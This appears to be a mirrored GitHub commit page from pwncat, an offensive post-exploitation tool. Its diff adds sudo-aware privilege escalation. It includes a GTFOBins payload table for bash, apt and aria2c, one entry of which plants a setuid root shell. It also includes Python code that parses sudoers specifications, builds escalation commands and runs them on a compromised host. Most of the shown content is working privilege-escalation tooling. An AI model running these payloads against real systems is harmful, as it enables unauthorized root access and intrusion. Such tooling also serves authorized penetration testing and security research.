mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added sudo awareness to gtfobins and updated privesc/sudo to understand the new interface. Sudo now supports wildcard listings and can intelligently parse whether a privesc is possible.
This commit is contained in:
parent
1b54ade0fb
commit
068c55f868
@ -1,8 +1,10 @@
|
||||
[
|
||||
{
|
||||
"name": "bash",
|
||||
"shell": "{sudo_prefix} {path} -p",
|
||||
"sudo": "{sudo_prefix} {command}",
|
||||
"shell": {
|
||||
"script": "{command}",
|
||||
"suid": ["-p"]
|
||||
},
|
||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
@ -13,12 +15,7 @@
|
||||
{
|
||||
"name": "apt-get",
|
||||
"shell": {
|
||||
"enter": "{path} changelog apt",
|
||||
"input": "!{shell}\n",
|
||||
"exit": "exit\nq\n"
|
||||
},
|
||||
"sudo": {
|
||||
"enter": "{sudo_prefix} {command} changelog apt",
|
||||
"need": ["changelog", "apt"],
|
||||
"input": "!{shell}\n",
|
||||
"exit": "exit\nq\n"
|
||||
}
|
||||
@ -26,19 +23,16 @@
|
||||
{
|
||||
"name": "apt",
|
||||
"shell": {
|
||||
"enter": "{path} changelog apt",
|
||||
"input": "!{shell}\n",
|
||||
"exit": "exit\nq\n"
|
||||
},
|
||||
"sudo": {
|
||||
"enter": "{sudo_prefix} {command} changelog apt",
|
||||
"need": ["changelog", "apt"],
|
||||
"input": "!{shell}\n",
|
||||
"exit": "exit\nq\n"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "aria2c",
|
||||
"shell": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {path} --on-download-error=$TF http://x; sleep 1; $SHELL -p",
|
||||
"sudo": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL\" > $TF;chmod +x $TF; {sudo_prefix} {command} --on-download-error=$TF http://x; sleep 1; $SHELL -p"
|
||||
"shell": {
|
||||
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
|
||||
"need": ["--on-download-error=$TF","http://x"]
|
||||
}
|
||||
}
|
||||
]
|
||||
|
@ -1,12 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List, Dict, Any
|
||||
from typing import List, Dict, Any, Callable
|
||||
from shlex import quote
|
||||
import binascii
|
||||
import base64
|
||||
import shlex
|
||||
import json
|
||||
import os
|
||||
|
||||
|
||||
class SudoNotPossible(Exception):
|
||||
""" Running the given binary to get a sudo shell is not possible """
|
||||
|
||||
|
||||
class Binary:
|
||||
|
||||
_binaries: List[Dict[str, Any]] = []
|
||||
@ -17,7 +22,13 @@ class Binary:
|
||||
self.data = data
|
||||
self.path = path
|
||||
|
||||
def shell(self, shell_path: str, sudo_prefix="") -> str:
|
||||
def shell(
|
||||
self,
|
||||
shell_path: str,
|
||||
sudo_prefix: str = None,
|
||||
command: str = None,
|
||||
suid: bool = False,
|
||||
) -> str:
|
||||
""" Build a a payload which will execute the binary and result in a
|
||||
shell. `path` should be the path to the shell you would like to run. In
|
||||
the case of GTFOBins that _are_ shells, this will likely be ignored, but
|
||||
@ -28,22 +39,132 @@ class Binary:
|
||||
return None
|
||||
|
||||
if isinstance(self.data["shell"], str):
|
||||
enter = self.data["shell"]
|
||||
script = self.data["shell"].format(shell=shell_path, command="{command}")
|
||||
args = []
|
||||
suid_args = []
|
||||
exit = "exit"
|
||||
input = ""
|
||||
else:
|
||||
enter = self.data["shell"]["enter"]
|
||||
script = (
|
||||
self.data["shell"]
|
||||
.get("script", "{command}")
|
||||
.format(shell=shell_path, command="{command}")
|
||||
)
|
||||
suid_args = self.data["shell"].get("suid", [])
|
||||
args = [
|
||||
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
|
||||
]
|
||||
exit = self.data["shell"].get("exit", "exit")
|
||||
input = self.data["shell"].get("input", "input")
|
||||
input = self.data["shell"].get("input", "")
|
||||
|
||||
if suid:
|
||||
suid_args.extend(args)
|
||||
args = suid_args
|
||||
|
||||
if script == "":
|
||||
script = "{command}"
|
||||
|
||||
if command is None:
|
||||
command = shlex.join([self.path] + args)
|
||||
if sudo_prefix is not None:
|
||||
command = sudo_prefix + " " + command
|
||||
|
||||
return (
|
||||
enter.format(
|
||||
path=quote(self.path), shell=quote(shell_path), sudo_prefix=sudo_prefix
|
||||
),
|
||||
input.format(shell=quote(shell_path)),
|
||||
script.format(command=command),
|
||||
input.format(shell=shlex.quote(shell_path)),
|
||||
exit,
|
||||
)
|
||||
|
||||
@property
|
||||
def has_shell(self) -> bool:
|
||||
""" Check if this binary has a shell method """
|
||||
return "shell" in self.data
|
||||
|
||||
def can_sudo(self, command: str, shell_path: str) -> List[str]:
|
||||
""" Checks if this command can be leveraged for a shell with sudo. The
|
||||
GTFObin specification must include information on the sudo context. It
|
||||
will check either:
|
||||
|
||||
* There are no parameters in the sudo specification, it succeeds.
|
||||
* There are parameters, but ends in a start, we succeed (doesn't
|
||||
guarantee successful shell, but is more likely)
|
||||
* Parameters match exactly
|
||||
"""
|
||||
|
||||
if not self.has_shell:
|
||||
# We need to be able to run a shell
|
||||
raise SudoNotPossible
|
||||
|
||||
# Split the sudo command specification
|
||||
args = shlex.split(command.rstrip("*"))
|
||||
|
||||
# There was a " *" which is not a wildcard
|
||||
if shlex.split(command)[-1] == "*":
|
||||
has_wildcard = False
|
||||
args.append("*")
|
||||
elif command[-1] == "*":
|
||||
has_wildcard = True
|
||||
|
||||
if isinstance(self.data["shell"], str):
|
||||
need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])]
|
||||
restricted = []
|
||||
else:
|
||||
# Needed and restricted parameters
|
||||
need = [
|
||||
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
|
||||
]
|
||||
restricted = self.data["shell"].get("restricted", [])
|
||||
|
||||
# The sudo command is just "/path/to/binary", we are allowed to add any
|
||||
# parameters we want.
|
||||
if len(args) == 1 and command[-1] != " ":
|
||||
return need
|
||||
|
||||
# Check for disallowed arguments
|
||||
for arg in args:
|
||||
if arg in restricted:
|
||||
raise SudoNotPossible
|
||||
|
||||
# Check if we already have the parameters we need
|
||||
needed = {k: False for k in need}
|
||||
for arg in args:
|
||||
if arg in needed:
|
||||
needed[arg] = True
|
||||
|
||||
# Check if we have any missing needed parameters, and no wildcard
|
||||
# was given
|
||||
if any([not v for _, v in needed.items()]) and not has_wildcard:
|
||||
raise SudoNotPossible
|
||||
|
||||
# Either we have all the arguments we need, or we have a wildcard
|
||||
return [k for k, v in needed.items() if not v]
|
||||
|
||||
def sudo_shell(self, user: str, spec: str, shell_path: str) -> str:
|
||||
""" Generate a payload to get a shell with sudo for this binary. This
|
||||
can be complicated, since the sudo specification may include wildcards
|
||||
or other parameters we don't want. We leverage the information in the
|
||||
GTFObins JSON data to determine if it is possible (see `can_sudo`) and
|
||||
then build a payload that should run under the given sudo specification.
|
||||
"""
|
||||
|
||||
# If we can't this will raise an exception up to the caller
|
||||
needed_args = self.can_sudo(spec, shell_path)
|
||||
|
||||
prefix = f"sudo -u {user}"
|
||||
|
||||
if spec.endswith("*") and not spec.endswith(" *"):
|
||||
spec = spec.rstrip("*")
|
||||
|
||||
# There's more arguments we need, and we're allowed to pass them
|
||||
if needed_args:
|
||||
command = spec + " " + " ".join(needed_args)
|
||||
else:
|
||||
command = spec
|
||||
|
||||
command = prefix + " " + command
|
||||
|
||||
return self.shell(shell_path, command=command)
|
||||
|
||||
def sudo(self, sudo_prefix: str, command: str, shell_path: str) -> str:
|
||||
""" Build a a payload which will execute the binary and result in a
|
||||
shell. `path` should be the path to the shell you would like to run. In
|
||||
@ -85,6 +206,11 @@ class Binary:
|
||||
path=quote(self.path), lfile=quote(file_path)
|
||||
)
|
||||
|
||||
@property
|
||||
def has_read_file(self):
|
||||
""" Check if this binary has a read_file capability """
|
||||
return "read_file" in self.data
|
||||
|
||||
def write_file(self, file_path: str, data: bytes) -> str:
|
||||
""" Build a payload to write the specified data into the file """
|
||||
|
||||
@ -109,6 +235,11 @@ class Binary:
|
||||
data=quote(data.decode("utf-8")),
|
||||
)
|
||||
|
||||
@property
|
||||
def has_write_file(self):
|
||||
""" Check if this binary has a write_file capability """
|
||||
return "write_file" in self.data
|
||||
|
||||
def command(self, command: str) -> str:
|
||||
""" Build a payload to execute the specified command """
|
||||
|
||||
@ -119,6 +250,11 @@ class Binary:
|
||||
path=quote(self.path), command=quote(command)
|
||||
)
|
||||
|
||||
@property
|
||||
def has_command(self):
|
||||
""" Check if this binary has a command capability """
|
||||
return "command" in self.data
|
||||
|
||||
@classmethod
|
||||
def load(cls, gtfo_path: str):
|
||||
with open(gtfo_path) as filp:
|
||||
@ -137,3 +273,42 @@ class Binary:
|
||||
return Binary(path, binary)
|
||||
|
||||
return None
|
||||
|
||||
@classmethod
|
||||
def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary":
|
||||
""" Locate a GTFObin binary for the given sudo spec. This will separate
|
||||
out the path of the binary from spec, and use `find` to locate a Binary
|
||||
object. If that binary cannot be used with this spec or no binary exists,
|
||||
SudoNotPossible is raised. shell_path is used as the default for specs
|
||||
which specify "ALL". """
|
||||
|
||||
if spec == "ALL":
|
||||
# If the spec specifies any command, we check each known gtfobins
|
||||
# binary for one usable w/ this sudo spec. We use recursion here,
|
||||
# but never more than a depth of one, so it should be safe.
|
||||
for data in cls._binaries:
|
||||
# Resolve the binary path from the name
|
||||
path = get_binary_path(data["name"])
|
||||
|
||||
# This binary doens't exist on the system
|
||||
if path is None:
|
||||
continue
|
||||
|
||||
try:
|
||||
# Recurse using the path as the new spec (won't recurse
|
||||
# again since spec is now a full path)
|
||||
return cls.find_sudo(path, get_binary_path)
|
||||
except SudoNotPossible:
|
||||
pass
|
||||
raise SudoNotPossible("no available gtfobins for ALL")
|
||||
|
||||
path = shlex.split(spec)[0]
|
||||
binary = cls.find(path)
|
||||
|
||||
if binary is None:
|
||||
raise SudoNotPossible(f"no available gtfobins for {spec}")
|
||||
|
||||
# This will throw an exception if we can't sudo with this binary
|
||||
_ = binary.can_sudo(spec, "")
|
||||
|
||||
return spec, binary
|
||||
|
@ -130,7 +130,7 @@ class SetuidMethod(Method):
|
||||
""" Run the specified technique """
|
||||
|
||||
binary = technique.ident
|
||||
enter, exit = binary.shell("/bin/bash")
|
||||
enter, input, exit = binary.shell(self.pty.shell, suid=True)
|
||||
|
||||
info(
|
||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
|
||||
@ -140,8 +140,13 @@ class SetuidMethod(Method):
|
||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||
|
||||
# Run the start commands
|
||||
self.pty.run(enter + "\n")
|
||||
self.pty.recvuntil("\n")
|
||||
self.pty.run(enter + "\n", wait=False)
|
||||
|
||||
# Send required input
|
||||
self.pty.client.send(input.encode("utf-8"))
|
||||
|
||||
# Wait for result
|
||||
self.pty.run("echo")
|
||||
|
||||
# sleep(0.1)
|
||||
user = self.pty.run("whoami").strip().decode("utf-8")
|
||||
|
@ -182,17 +182,16 @@ class SudoMethod(Method):
|
||||
if current_user["password"] is None and sudo_privesc["password"]:
|
||||
continue
|
||||
|
||||
if sudo_privesc["command"] == "ALL":
|
||||
command_path = self.pty.shell
|
||||
else:
|
||||
command_path = shlex.split(sudo_privesc["command"])[0]
|
||||
|
||||
binary = gtfobins.Binary.find(command_path)
|
||||
if binary is None or binary.shell("") is None:
|
||||
continue
|
||||
if sudo_privesc["command"] == "ALL" and binary.shell("") is None:
|
||||
continue
|
||||
if sudo_privesc["command"] != "ALL" and binary.sudo("", "", "") is None:
|
||||
try:
|
||||
# Locate a GTFObins binary which satisfies the given sudo spec.
|
||||
# The PtyHandler.which method is used to verify the presence of
|
||||
# different GTFObins on the remote system when an "ALL" spec is
|
||||
# found.
|
||||
sudo_privesc["command"], binary = gtfobins.Binary.find_sudo(
|
||||
sudo_privesc["command"], self.pty.which
|
||||
)
|
||||
except gtfobins.SudoNotPossible:
|
||||
# No GTFObins possible with this sudo spec
|
||||
continue
|
||||
|
||||
if sudo_privesc["run_as_user"] == "ALL":
|
||||
@ -222,7 +221,7 @@ class SudoMethod(Method):
|
||||
|
||||
current_user = self.pty.current_user
|
||||
|
||||
binary, command, password_required = technique.ident
|
||||
binary, sudo_spec, password_required = technique.ident
|
||||
|
||||
info(
|
||||
f"attempting potential privesc with sudo {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
|
||||
@ -231,15 +230,11 @@ class SudoMethod(Method):
|
||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||
|
||||
sudo_prefix = f"sudo -u {technique.user} "
|
||||
if command == "ALL":
|
||||
shell_payload, input, exit = binary.sudo_shell(
|
||||
technique.user, sudo_spec, self.pty.shell
|
||||
)
|
||||
|
||||
shell_payload, input, exit = binary.shell(
|
||||
self.pty.shell, sudo_prefix=sudo_prefix
|
||||
)
|
||||
else:
|
||||
payload, input, exit = binary.sudo(sudo_prefix, command, self.pty.shell)
|
||||
shell_payload = f" {payload}"
|
||||
print(shell_payload)
|
||||
|
||||
# Run the commands
|
||||
self.pty.run(shell_payload + "\n", wait=False)
|
||||
@ -250,23 +245,24 @@ class SudoMethod(Method):
|
||||
# Provide stdin if needed
|
||||
self.pty.client.send(input.encode("utf-8"))
|
||||
|
||||
# Give it a bit to let the shell start
|
||||
# Give it a bit to let the shell start. We considered a sleep here, but
|
||||
# that was not consistent. This will utilizes the logic in `run` for
|
||||
# waiting for the output of the command (`echo`), which waits the
|
||||
# appropriate amount of time.
|
||||
self.pty.run("echo")
|
||||
|
||||
user = self.pty.whoami()
|
||||
if user == technique.user:
|
||||
success("privesc succeeded")
|
||||
return exit
|
||||
else:
|
||||
error(f"privesc failed (still {user} looking for {technique.user})")
|
||||
|
||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
after_shell_level = (
|
||||
int(after_shell_level) if after_shell_level != b"" else 0
|
||||
)
|
||||
error(f"privesc failed (still {user} looking for {technique.user})")
|
||||
|
||||
if after_shell_level > before_shell_level:
|
||||
info("exiting spawned inner shell")
|
||||
self.pty.run(exit, wait=False) # here be dragons
|
||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
|
||||
|
||||
if after_shell_level > before_shell_level:
|
||||
info("exiting spawned inner shell")
|
||||
self.pty.run(exit, wait=False) # here be dragons
|
||||
|
||||
raise PrivescError("failed to privesc")
|
||||
|
Loading…
Reference in New Issue
Block a user